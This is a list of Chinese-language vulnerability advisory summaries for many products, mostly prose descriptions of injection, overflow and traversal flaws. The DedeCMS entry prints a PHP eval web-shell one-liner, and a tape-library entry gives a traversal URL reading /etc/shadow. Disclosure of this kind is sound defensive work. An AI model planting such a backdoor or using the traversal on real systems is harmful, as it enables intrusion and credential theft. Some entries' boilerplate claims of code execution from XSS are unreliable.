Apache Struts是一款建立Java web应用程序的开放源代码架构。由于XSLTResult.java脚本未能正确校验文件扩展，Apache Struts允许远程攻击者上传任意文件。通过提交特制的HTTP请求，远程攻击者可以利用此漏洞上传恶意PHP脚本，并以WEB权限执行。
vBulletin是一款基于PHP的应用程序。vBulletin vBshop存在HTML注入漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响站点上下文中执行HTML或脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
SWTOR CharDB中存在多个SQL注入漏洞和HTML注入漏洞，这些漏洞源于对用户提供的输入未经充分过滤。攻击者可利用这些漏洞操控应用程序、访问或修改数据、在底层数据库中利用这些漏洞、或在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，可能允许攻击者盗取基于cookie的认证证书，控制网站传达给用户的方式进而发起其他攻击。SWTOR CharDB 1.8b版本中存在这些漏洞，其他版本也可能受到影响。
Atheme是一款IRC服务端。atheme IRC服务存在mycertfp_delete的()功能安全绕过漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Joomla!是一款开放源码的内容管理系统（CMS）。JOOMLA JE Testimonial组件存在未明SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress图片新闻滑块插件存在多个未明安全漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
iOS是由苹果公司开发的操作系统。 iPhone 4和第4代iPod touch上的iOS 5.1版的Safari在用"window.open()"打开新窗口时存在错误，可被利用在显示可信网站URL时显示任意内容，执行欺骗攻击。
Spotify是一款音乐应用平台。Spotify存在性漏洞。由于Spotify搜索盒子未能正确检查用户输入，在GUI中的搜索字段注入超长字符串(~80mil B / 80 MB)可导致内存耗竭而崩溃。
DELL Webcam Center 可以直接进行视频录制、照片捕捉、动态捕捉、远程监控等功功能。 DELL Webcam Center在实现上存在多个栈缓冲器溢出漏洞，攻击者可利用这些漏洞执行任意代码。
Sitecom WLM-2501是一款路由器设备。Sitecom WLM-2501存在多个CSRF漏洞，攻击者构建恶意URI，诱使用户解析，可以目标用户上下文执行管理员操作，更改路由器参数。
DC Software DL-10是FTP服务器。 DC Software DL-10在实现上存在栈缓冲区溢出漏洞，攻击者可利用此类的执行任意代码。
D-Link DIR-605是1个百兆WAN口、4个百兆LAN口均支持MDI/MDI-X技术的SOHO无线路由器。 D-Link DIR-605在实现上存在跨站请求伪造漏洞，成功利用此漏洞的远程攻击者可更改设备配置信息并执行非法操作。
MMPlayer是一款媒体播放器。MMPlayer存在漏洞。由于MMPlayer未能正确解析'.m3u'和'.ppl'文件，构建恶意文件，诱使应用程序解析，可以应用程序上下文执行任意代码。
腾讯QQ、Tencent Messenger(简称TM)，是腾讯公司推出的一款面向个人的即时通讯软件。腾讯在打开URL的时候，处理字符串问题，在碰到特殊符号“$”（美元符号）的时候，会产生计算错误，由于错误的内存读取操作很危险，所以很容易崩溃，导致拒绝服务。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress ALO EasyMail Newsletter Plugin存在未指明的跨站脚本漏洞。远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可导致一个拒绝服务条件。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress Carousel Slideshow Plugin存在多个安全漏洞，远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
phpList是一款国外的邮件列表，支持HTML邮件和附件。phpList存在远程SQL注入漏洞，由于未经合理验证'sortby'参数的用户输入，就使用其进行SQL查询并返回内容给用户。攻击者可利用此漏洞进行SQL注入攻击。
Google Talk是一款Google发行的即时聊天工具。Google Talk存在信息泄露问题，攻击者构建恶意URI，诱使用户解析，可获得敏感信息。
OneFileCMS是一个轻量级内容管理系统。OneFileCMS实现时存在失败限制URL访问漏洞，由于该系统URL访问限制存在问题，允许攻击者可利用此漏洞绕过其重定向机制。
FlexCMS是一个用户友好的网站内容管理系统。FlexCMS存在多个跨站请求伪造漏洞。当未授权用户或管理员浏览精心构造的web页面，攻击者可修改任何参数。
vtiger CRM是一套基于Web以销售能力自动化(SFA)为主的客户关系管理系统(CRM )。vtiger CRM存在漏洞。由于vtiger CRM未能正确过滤提交给'module_name'参数的输入，攻击者可以通过目录遍历序列，以WEB权限查看系统文件内容。
Cisco Wireless-G PTZ Internet Video Camera是一款网络摄像机。Cisco Wireless-G PTZ Internet Video Camera WVC200 'PlayerPT.ocx'控件存在缓冲区溢出，攻击者构建恶意WEB页，诱使用户解析，可以应用程序上下文执行任意代码。
Atmail Email Server是一款Email服务程序。Atmail WEBMAIL compose.php和SendMsg.php脚本可通过目录遍历攻击拷贝系统任意文件，mime.php脚本可通过目录遍历攻击查看系统文件内容。
Atmail Email Server是一款Email服务程序。Atmail WEBMAIL info.php脚本调用phpinfo()函数存在信息泄露漏洞。攻击者可以利用漏洞获得敏感信息。
Atmail Email Server是一款Email服务程序。Atmail WEBMAI Lcompose.php存在目录遍历漏洞。攻击者可以利用漏洞以WEB权限查看文件内容。
Atmail Email Server是一款Email服务程序。Atmail WEBMAIL接口存在上传任意文件漏洞。攻击者可以提交危险类型如.php的文件作为Email附件并上传，可被利用上传后门。
Atheme是一款IRC服务端。Atheme存在安全漏洞，允许恶意用户绕过安全限制或进行拒绝服务攻击。当删除账户时"myuser_delete()"函数(libathemecore/account.c)存在一个错误，没有删除证书指纹，可被利用删除一个账户并使用相同指纹的其他用户重连服务器或使服务器崩溃。
Oreans WinLicense是一款文件加密保护工具。Oreans WinLicense解析xml文件存在一个内存破坏漏洞，允许攻击者利用漏洞使应用程序崩溃。
Novell ZENworks Configuration Management是一款帮助客户降低IT拥有成本的桌面管理软件。Novell ZENworks Configuration Management相关HTTP TRACE存在未明错误。
Novell ZENworks Configuration Management是一款帮助客户降低IT拥有成本的桌面管理软件。Novell ZENworks Configuration Management存在多个安全漏洞，允许恶意用户获得敏感信息或执行任意代码。（1）当处理包含opcode 0x21的请求时PreBoot服务存在错误，可被利用下载任意本地文件。（2）当处理包含opcode 0x6c或0x4c的请求时PreBoot服务存在错误，可被利用触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
LG-Nortel ELO GS24M是一款交换机设备。LG-Nortel ELO GS24M交换机WEB管理接口存在安全漏洞，攻击者可以通过直接访问配置WEB页的URL来获得访问，通过WEB页可下载设备配置信息，包括明文的验证凭据。
LG-Nortel ELO GS24M是一款交换机设备。LG-Nortel ELO GS24M交换机WEB管理接口存在安全漏洞，攻击者可以通过直接访问配置WEB页的URL来获得访问，通过WEB页可下载设备配置信息，包括明文的验证凭据。
Cyberoam UTM是一款整合威胁管理解决方案。Cyberoam UTM集成活动目录，要从配置的AD中查询数据，会把域验证凭据存储在设备中，并传递给WEB诊断页面(Identity --> Authentication --> Authentication Server --> /Select Configured AD/)，验证客户端可轻易的访问存储的验证凭据。
Cyberoam UTM是一款整合威胁管理解决方案。Cyberoam UTM提供的诊断功能Java页对'host'参数缺少充分过滤，可导致OS命令注入，虽然存在客户端校验检查IP是否合法，但没有服务端检查，恶意用户可绕过客户端检查注入OS命令。
Citrix XenServer是实现服务器虚拟化和提供动态数据中心的最简捷和最有效的方式，动态数据中心为计算和存储提供灵活的资源池。Citrix XenServer vSwitch Controller组件管理WEB接口存在多个未明错误。目前没有详细漏洞细节提供。
Aruba OS是所有Aruba移动控制器与接入装置的操作系统和应用引擎。Aruba Mobility Controller EAP-TLS 802.1X终端组件存在一个错误，可被利用访问其他网络。要成功利用漏洞需要本地终端启用(默认关闭)。
Dedecms是国内流行的内容管理系统。DedeCMS V5.7 SP1正式版，UTF-8 GBK版本疑似被植入一句话后门，其中shopcar.class.php被植入一句话"@eval(file_get_contents('php://input'));"，攻击者利用此漏洞可以获得WEB SHELL。目前供应商提供的下载版本不包含此恶意后门。
DeviceExpert是针对网络设备的变更和配置管理解决方案。 ManageEngine DeviceExpert存在目录遍历漏洞。由于ManageEngine DeviceExpert ScheduleResultViewer servlet未能正确处理用户提交给"FileName"参数的输入，攻击者可以利用漏洞提交目录遍历序列获得系统文件内容。
Quantum Scalar i500, Dell ML6000和IBM TS3310磁带库某些账户预设置了密码，可被攻击者利用进行未授权访问。
InspIRCd是一款IRC聊天服务器。InspIRCd dns.cpp代码存在一个堆破坏，分配在堆上的res[]可被溢出，溢出的字节可通过DNS压缩功能控制。成功利用漏洞可以服务进程上下文执行任意代码。
Quantum Scalar i500, Dell ML6000和IBM TS3310企业磁带库WEB接口存在跨站脚本漏洞。Quantum Scalar i500和Dell ML6000磁带库包含的如下WEB接口漏洞：（1）WEB接口允许未验证远程用户查看WEB服务器上的任意文件，如http://device/logShow.htm?file=/etc/shadow。（2）http://device/checkQKMProg.htm存在跨站脚本漏洞允许获取会话ID。（3）POST参数以ROOT用户执行任意命令。
FreePBX是一款用来控制Asterisk的图形化接口。FreePBX存在输入验证漏洞。允许攻击者进行远程命令执行，可获得执行任意命令。
Tiny Server是一款HTTP服务程序。Tiny Server不正确处理HTTP HEAD请求，攻击者可以利用漏洞提交恶意请求进行缓冲区溢出攻击，可以应用程序上下文执行任意代码。
FreePBX是一款用来控制Asterisk的图形化接口。FreePBX存在输入验证漏洞。允许攻击者进行跨站脚本攻击，可执行任意命令。
Dell Webcam是一款网络摄像头软件。Dell Webcam绑定的CrazyTalk4 ActiveX控件存在缓冲区溢出漏洞，允许攻击者构建恶意WEB页，诱使用户解析，以应用程序上下文执行代码。当处理某些属性时CrazyTalk4Native.dll模块提供的CrazyTalk4 ActiveX控件存在边界错误，向"BackImage", "ScriptName", "ModelName"和"SRC"属性提交超长字符串可触发基于栈的溢出。
Aruba OS是所有Aruba移动控制器与接入装置的操作系统和应用引擎。Aruba远程AP诊断WEB接口存在OS命令注入漏洞，当运行诊断WEB接口时，未验证攻击者可以利用漏洞以ROOT用户上下文执行任意系统命令。
JavaBB基于java技术的类似于phpbb的论坛。JavaBB'userId'参数存在跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Pre Printing 是一款印刷程序。Pre Printing Press存在'pid'参数SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Adobe Photoshop是一款流行的图像处理软件。Adobe Photoshop处理TIFF文件格式存在内存错误引用漏洞。攻击者可以构建恶意文件，诱使用户解析，以应用程序上下文执行任意代码。
Tor Browser Bundle是一款用于浏览器的翻墙插件。Tor browser bundle中的RelativeLink.sh有一个输入错误可造成调试模式始终打开，可导致类似域名等信息写入到文件中，导致敏感信息泄露。
WebGlimpse是一款基于Web的搜索和索引软件包。webglimpse.cgi脚本存在一个命令注入漏洞，允许攻击者使用特制的查询URL参数运行系统命令，结果可显示在WEB页中。攻击者可以利用此漏洞执行任意命令安装PHP后门等。
OneForum是一款基于PHP的论坛程序。OneForum存在SQL注入漏洞。由于程序在被用于SQL查询使用前未能充分过滤用户提供的数据。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
Joomla!是一款开放源码的内容管理系统。Joomla!存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
MaraDNS是一款开放源代码的DNS服务程序。MaraDNS存在一个安全漏洞，允许攻击者进行伪造攻击。其缓存更新策略存在错误，由于未能正确处理已吊销域名，攻击者可以利用此漏洞使得已经从注册商中删除的域名继续可解析。
VLC Media Player是一款流行的多媒体播放程序。realrtsp访问插件(libaccess_realrtsp_plugin)处理Real RTSP流存在错误，构建特制的Real RTSP流，诱使应用程序解析可触发基于堆的溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
VLC Media Player是一款流行的多媒体播放程序。MMS访问插件(libaccess_mms_plugin)里"MMSOpen()"函数(modules/access/mms/mmstu.c)存在边界错误，构建特制的MMS流，诱使应用程序解析可触发基于栈的溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
Joomla!是一款开放源码的内容管理系统。Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统，可以在Linux、 Windows、MacOSX等各种不同的平台上执行。JOOMLA!存在可预见的密码生成漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Xtreme RAT是一款远程控制软件。Xtreme RAT 'dwmapi.dll'不安全装载库，攻击者构建恶意文件，存放在WebDAV或SMB共享上，诱使用户解析，可导致以应用程序上下文装载恶意库并执行。
TYPSoft FTP Server是一款FTP服务程序。TYPSoft FTP Server未能正确处理'APPE'命令，远程攻击者可以提交恶意请求触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Tiny Server是一款免费的HTTP WEB服务器。Tiny Server不正确处理用户提交的HTTP请求，攻击者可以利用漏洞进行目录遍历攻击，可获得系统敏感文件信息。
OneFileCMS是一款只有一个文件的轻量级CMS系统。OneFileCMS存在文件包含漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在web服务器进程上下文中浏览文件和执行脚本，这可能导致进一步的攻击。
OneFileCMS是一款内容管理程序。OneFileCMS存在信息泄露漏洞。由于通过"f" 参数到onefilecms.php的输入未能在被用来阅读文件夹前未能正确的验证，攻击者可以利用漏洞通过目录遍历序列泄露文件系统的文件结构。
OneFileCMS是一款内容管理程序。OneFileCMS存在信息泄露漏洞。由于通过"i"参数到onefilecms.php的输入未能在被用来阅读文件夹前未能正确的验证，攻击者可以利用漏洞通过目录遍历序列泄露文件系统的文件结构。
Joomla!是一款开放源码的内容管理系统。Joomla!远程权限提升漏洞。攻击者可以利用漏洞提升特权和执行未经授权的操作。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。Asterisk当解析"HTTP Digest Authentication"信息时"ast_parse_digest()"函数(main/utils.c)存在错误，超长字符串可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。Asterisk当拷贝内部数据样本时"milliwatt_generate()"函数(apps/app_milliwatt.c)存在错误，通过特制的报文可导致应用程序崩溃。
Check Point软件技术有限公司成立时间于1993年，美国总部在加利福尼亚州红木城，是全球首屈一指的Internet安全解决方案供应商，在全球企业防火墙、个人防火墙及虚拟专用网络（VPN ）市场上居于领导地位。Check Point多款端点安全产品在实现上存在信息泄露漏洞，通过发送某些查询到CheckPoint Firewall-1上的端口264/TCP，会显示主机名。攻击者可利用此漏洞获取敏感信息。
JPM Article Script 6存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询之前未能充分过滤，攻击者可利用该漏洞控制应用程序，访问或者修改数据，或者在底层数据库中利用该漏洞。
Quagga是一款路由软件套件，可在Unix平台上实现多种路由协议。Quagga ospfd存在两个未明错误。目前没有详细的漏洞细节提供。
NTG-Haber Yazilimi存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询之前未能充分过滤，攻击者可利用该漏洞控制应用程序，访问或者修改数据，或者在底层数据库中利用该漏洞。
eZ publish是一款专业的开源内容管理系统(CMS)和一个开发框架(CMF)。eZ Publish存在未明安全漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
TVersity是一款多媒体服务器。TVersity存在任意文件下载漏洞。由于对用户提交给/geturl "file"和"ext"参数的数据缺少充分过滤，攻击者可以利用此漏洞获得任意文件内容。
Sockso是一款音乐服务器，支持MP3,WMA。Sockso服务器存在目录遍历漏洞，允许攻击者提交恶意请求下载本地系统文件。
Omnistar Live是一款基于WEB的在线帮助台系统，集成了在线聊天功能。Omnistar Live存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
Presto! PageManager是一个数字文档管理程序。其捆绑NetGroup用于远程文件传送。Presto! PageManager存在多个漏洞，包括堆溢出，任意文件下载，和拒绝服务攻击。
lshell可让你通过一些命令来限制用户登录系统的使用，包括记录用户执行的命令、登录时间限制等等。lshell处理某些控制字符时存在错误，攻击者可以利用漏洞通过绕过路径限制功能来执行某些受限SHELL命令。
Invision Power Board是一款基于PHP的论坛程序。Invision Power Board存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意HTML和脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
IBM Tivoli Endpoint Manager提供了统一、实时的可视化和实施方法来向所有端点部署和管理补丁。IBM Tivoli Endpoint Manager存在跨站脚本漏洞。由于通过"ScheduleParam"参数传递给webreports的输入在返回用户之前缺少正确过滤，攻击者可以构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
Epson EventManager默认监听2968端口，用于支持Epson扫描器一些自动操作。Epson EventManager在处理HTTP请求时Net Scan Monitor组件存在错误，向TCP 2968端口发送特制请求可使应用程序崩溃。
EMC NetWorker是一款支持磁盘备份、数据复制、连续数据保护和重复数据消除的应用软件。EMC NetWorker存在拒绝服务漏洞。由于EMC NetWorker srexecd服务未能正确处理畸形RPC报文，执行任意数量的哈希计算会造成服务崩溃。
Citrix Licensing是一款授权服务器。Citrix Licensing管理控制台存在拒绝服务漏洞。允许可访问WEB应用程序的攻击阻止其他合法用户访问系统。
Citrix Licensing是一款授权服务器。Citrix Licensing管理控制台存在跨站请求伪造漏洞，允许攻击者构建恶意URI，诱使用户解析，以目标用户上下文执行管理操作。
Citrix Licensing是一款授权服务器。Citrix Licensing管理控制台存在跨站脚本漏洞，允许攻击者构建恶意URI，诱使用户解析，获得敏感信息或劫持用户会话。
BarnOwl是一款多协议IM客户端，支持Zephyr, AIM, Jabber, IRC和Twitter等。BarnOwl接收到包含过量字段的zyphergram时存在错误，攻击者可以利用漏洞使应用程序崩溃。
BarnOwl是一款多协议IM客户端，支持Zephyr, AIM, Jabber, IRC和Twitter等。BarnOwl在接收到空的zcrypted消息时存在错误，攻击者可以利用漏洞使应用程序挂起。
ZyXel GS1510中存在多个输入验证漏洞，包括跨站脚本漏洞和信息泄露漏洞。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，或泄露敏感信息，盗取基于cookie的认证证书。ZyXel GS1510 running firmwareV1.00(BVN.1)版本中存在这些漏洞，其他版本也可能受到影响。
Simple Posting System存在目录遍历漏洞，由于程序对用户提供的输入未能正确过滤，远程攻击者可利用目录遍历序列(../)的特制请求，在应用程序上下文中检索任意文件，获取敏感信息。
Simple Posting System存在HTML注入漏洞，由于程序对用户提供的输入未能过滤，攻击者可以利用漏洞在受影响站点上下文中运行HTML或JavaScript代码，窃取基于cookie的认证证书或控制网站如何呈献给用户。
Modx Revolution存在本地文件包含漏洞，由于程序对用户提供的输入未能正确过滤，攻击者可利用此漏洞在web服务进程上下文中执行本地脚本，浏览文件，或导致进一步的攻击。
Encaps PHP Gallery存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询之前未能充分过滤。攻击者可利用该漏洞控制应用程序，访问或者修改数据，或者在底层数据库中利用该漏洞。
多个Xerox产品存在多个安全漏洞，允许恶意用户获得对设备的控制。Xerox存在未明安全错误，允许攻击者发送特制的postscript或固件作业可执行任意代码。目前没有详细漏洞细节提供。
Novell eDirectory是一款跨平台的目录服务器。Novell eDirectory存在多个安全漏洞，允许攻击者进行拒绝服务等攻击。（1）jclient中的NDSD存在错误，可被利用触发缓冲区溢出。（2）当解析RelativeToFullDN时LDAP存在未明错误。（3）FreeNDSReferralList LDAP存在错误可被利用破坏内存。
Pidgin是一款多协议即时通信软件。Pidgin处理XMPP聊天室中的昵称更改时"get_iter_from_chatbuddy()"函数(pidgin/gtkconv.c)存在空指针引用错误，可被利用进行拒绝服务攻击。
PrivaWall Antivirus是一款反病毒程序。PrivaWall Antivirus存在漏洞。由于PrivaWall Antivirus未能正确处理Office XML格式文件，攻击者可以构建恶意文件，注入病毒木马负载，绕过扫描引擎检测。
McAfee Email Gateway是一款电子邮件解决方案。McAfee Email and Web Security Appliance用于智能化的垃圾邮件和恶意软件防护。McAfee Email Gateway和McAfee Email and Web Security Appliance存在多个安全漏洞，允许恶意用户泄露敏感信息或绕过安全限制，进行跨站脚本和暴力破解攻击。(1)部分未明输入在返回用户之前缺少过滤，可导致跨站脚本攻击。(2)重置密码功能存在错误，可被利用重置管理员用户密码。(3)Dashboard显示活动会话令牌存在错误可被利用劫持其他用户会话。(4)系统备份使用弱加密存储密码，可被利用通过暴力破解加密密码。(5)部分输入在用于下载文件时缺少校验，可被利用通过目录遍历序列获得本地系统的任意文件。(6)存在未明错误可被利用泄露文件内容。
Belkatalog CMS存在SQL注入漏洞，由于应用程序对用户提供的数据在用于SQL查询之前未能充分过滤，攻击者可利用该漏洞控制应用程序，访问或修改数据，或在底层数据库中利用该漏洞。
Singapore是一款基于PHP的图象管理程序。singapore存在跨站脚本漏洞。由于程序未能过滤用户提供的输入，攻击者可利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据，并发动其他攻击。
osFileManager是一款基于PHP的文件编写脚本。osFileManager存在跨站请求伪造漏洞，由于应用程序允许用户通过HTTP请求执行某些操作而没有进行任何有效检查，攻击者可以利用漏洞创建或删除管理用户。
osFileManager是一款基于PHP的文件编写脚本。osFileManager存在跨站脚本漏洞，由于通过"d"参数传递到index.php的参数在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Gnash是一个为包括FireFox/Mozilla/Konqueror/Opera等浏览器编写的Flash播放插件。"GnashImage::size()"方法(libbase/GnashImage.h)存在一个整数溢出错误，攻击者构建恶意SWF文件，诱使应用程序打开，可触发基于堆的缓冲区溢出。
twicca是Twitter在Android平台上的客户端。twicca存在未明安全绕过漏洞。由于twicca未能正确限制访问权限，允许以twicca权限上传图像文件。
GNU FriBidi是一款Unicode双向算法(bidi)实现。处理4字节utf-8序列时FriBidi存在一个缓冲区溢出漏洞，攻击者可以利用此漏洞以应用程序上下文执行任意代码。
Citrix XenServer是实现服务器虚拟化和提供动态数据中心的最简捷和最有效的方式，动态数据中心为计算和存储提供灵活的资源池。Citrix XenServer负载平衡(Workload Balancer)组件存在一个未明错误，允许攻击者利用此漏洞对服务进行拒绝服务攻击。
Saman Portal存在本地文件包含漏洞，由于程序对用户提供的输入未能正确过滤，攻击者可利用该漏洞在web服务进程上下文中执行本地脚本，查看文件。
WikidForum是一个免费论坛软件平台。Wikidforum存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
WikidForum是一个免费论坛软件平台。Wikidforum存在SQL注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
Linkasoft LeKommerce是一款网络商店。Linkasoft LeKommerce存在SQL注入漏洞，由于通过"id"参数传递到secc.php在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
EJBCA是一款全功能的CA系统软件。EJBCA存在跨站脚本漏洞，由于传递到ejbca/publicweb/webdist/certdist中"issuer" 参数的输入(当"cmd"设置为"revoked"和"serno"被设置)在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
SysAid是一款用于IT(技术信息)组织部门的软件。SysAid存在脚本插入漏洞。当编辑个人资料时，通过"firstName"和"lastName"参数传递至Preferences.jsp的输入，在被返回至用户前未能正确过滤，那么恶意数据被查看时，攻击者可利用漏洞在受影响站点上下文的用户浏览器会话中注入任意HTML和脚本代码。
Zend Server是一款用于运行和管理PHP应用的WEB应用服务器。Zend Server和其组件存在跨站脚本漏洞，多个参数传递给多个脚本在返回用户之前缺少充分过滤，攻击者可以构建恶意URL，诱使用户解析，可获得敏感信息或劫持用户会话。
SysAid是一款用于IT(技术信息)组织部门的软件。SysAid存在跨站脚本漏洞。由于"listViewName"参数传递在CustomiseListView.jsp的输入，在被返回至用户前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
XnView是一款图像处理系统。XnView处理PCX文件中的图像数据时存在错误，构建特制的文件可触发基于堆的缓冲区溢出。
XnView是一款图像处理系统。XnView浏览文件夹解析目录名时存在边界错误，用户浏览提取归档文件中的文件夹时可触发基于栈的缓冲区溢出。
XnView是一款图像处理系统。XnView校验缓冲区大小处理图像内容时FlashPix插件(Xfpx.dll)存在符号错误，构建特制的FTPX文件可触发基于堆的缓冲区溢出。
Sony Vegas Movie Studio HD是一款整合影像编辑与声音编辑的软件。应用程序以不安全方式装载库(如enc_mp2v.200和CFHDDecoder.dll)，攻击者可以构建恶意项目(VF)和PCA文件，安放在远程WebDAV或SMB上，诱使用户解析，可以登录用户上下文装载任意库。
OpenLDAP是一款开放源代码的LDAP目录服务实现。OpenLDAP处理某些结果时存在断言错误(assertion error)，攻击者提交"attrsOnly"设置为"true"(如ldapsearch -A)的LDAP搜索请求可使应用程序停止响应。要成功利用漏洞需要代理服务器配置为中继后端和半透明叠加(relay backend and a translucent overlay)。
Network Instruments Observer是一款网络监控分析系统。当从变量绑定列表拷贝octet string时存在空指针引用错误，向UDP 162端口发送特制的SNMP SetRequest PDU 可使应用程序崩溃。造成拒绝服务攻击。
TP-LINK TL-WR740N是一款无线路由器设备。传递给maintenance/tools_test.htm中的"ping_addr"参数的输入在返回用户之前缺少过滤，可导致跨站脚本攻击，攻击者可以利用漏洞获得敏感信息或劫持用户会话。
Sony moviEZ HD是一款专业影像编辑软件。moviEZ HD存在漏洞。由于应用程序以不安全方式装载库(如avrt.dll)，攻击者可以构建恶意项目(MVZ)文件，安放在远程WebDAV或SMB上，诱使用户解析，可以登录用户上下文装载任意库。
Sony Jam Trax Xpress是一款音乐编辑的软件。Jam Trax Xpress存在漏洞。由于应用程序以不安全方式装载库(如sage.dll)，攻击者可以构建恶SDML文件，安放在远程WebDAV或SMB上，诱使用户解析，可以登录用户上下文装载任意库。
Sony DVD Architect是一款DVD制作软件。DVD Architect存在漏洞。由于应用程序以不安全方式装载库(如enc_mp2v.200和CFHDDecoder.dll)，攻击者可以构建恶意DVD项目(DAR)文件，安放在远程WebDAV或SMB上，诱使用户解析，可以登录用户上下文装载任意库。
phpMyVisites是一个网站流量统计系统，它能够提供非常详细的统计报告和高级图形报表。phpMyVisites的'phpmv2/index.php'存在多个跨站脚本漏洞，攻击者可以利用漏洞在受影响的机器上执行任意代码。
DAEMON Tools是一款虚拟光驱软件。处理dtsoftbus01.sys驱动中的0x00222850 IOCTL时存在索引错误，可被利用向任意内核地址写DWORD值。成功利用漏洞可导致应用程序崩溃或以SYSTEM特权执行任意代码。
Aurora WebOPAC是一款在线库系统，允许用户执行预定，续借书，搜索目录等任务。Aurora WebOPAC存在漏洞。由于Aurora WebOPAC未能对用户提交给'txtEmailAliasBarcode'变量的参数，在用于SQL查询之前缺少充分过滤，可导致SQL注入，可操作数据库或控制应用程序。
ToendaCMS是一个使用PHP开发的易于安装、使用、维护的开源内容管理系统，支持基于XML的存储技术，提供众多使用功能。ToendaCMS存在跨站脚本漏洞，攻击者可以利用漏洞在受影响的机器上执行任意代码。
Gretech GOM Player是一款媒体播放程序。Gretech GOM Player存在缓冲区溢出漏洞，攻击者构建恶意URI，诱使应用程序打开，可触发此漏洞，成功利用漏洞可以以应用程序上下文执行任意代码。
ToendaCMS是一个使用PHP开发的易于安装、使用、维护的开源内容管理系统，支持基于XML的存储技术，提供众多使用功能。ToendaCMS存在本地文件包含漏洞，攻击者可以利用漏洞在受影响的机器上执行任意代码，达到攻击的目的。
libgdata是使用GData协议访问在线服务APIs的基于GLib的库。libgdata在验证服务器SSL证书的实现上存在安全限制绕过漏洞，成功利用后可执行中间人攻击或模拟可信服务器。
taglib是读取和编辑流行音频格式元数据库。taglib在实现上存在由于除零异常和缓冲区溢出问题导致多个拒绝服务漏洞，攻击者可利用这些漏洞造成应用崩溃。
LibYAML是一个C语言的包，用来解析YAML 1.1数据。用于Perl的YAML::LibYAML模块存在安全漏洞，允许恶意用户使使用此模块的应用程序崩溃。漏洞是由于当解析YAML文档时"Load()", "load_node()", "load_mapping()"和"load_sequence()"函数(LibYAML/perl_libyaml.c)存在格式串错误，成功利用漏洞可以以应用程序上下文执行任意代码。
DotNetNuke是一款开源的内容管理系统。DotNetNuke存在漏洞。当重命名上传文件时应用程序未能正确校验扩展，攻击者可以利用此漏洞通过上传恶意文件执行任意ASPX代码。要成功利用漏洞需要"Write to Folder"权限。
Enterasys SecureStack中存在多个HTML注入漏洞。由于程序对用户提供的数据未能充分过滤，攻击者可以利用漏洞在受影响站点的上下文中运行HTML或JavaScript代码，窃取基于cookie的认证证书或者控制网站如何呈现给用户。
AMD是微处理器解决方案供应商，提供各种微处理器解决方案。AMD某些处理器在分段和fill_sons_in_loop代码的实现上存在安全漏洞。通过特定的连续back-to-back pops及return指令序列，可造成栈指针更新错误。
Barracuda WAF是一款WEB应用防火墙。Barracuda WAF 660存在跨站脚本漏洞。由于Barracuda WAF 660未能正确处理提交给"filter"参数的数据，远程攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
SAP Business Objects是全球领先的商务智能(BI)软件公司的产品套件，Business Objects XI为报表、查询和分析、绩效管理以及数据集成提供了平台。SAP Business Objects存在跨站脚本漏洞。由于SAP Business Objects未能正确过滤用户提交的输入，攻击者可以构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
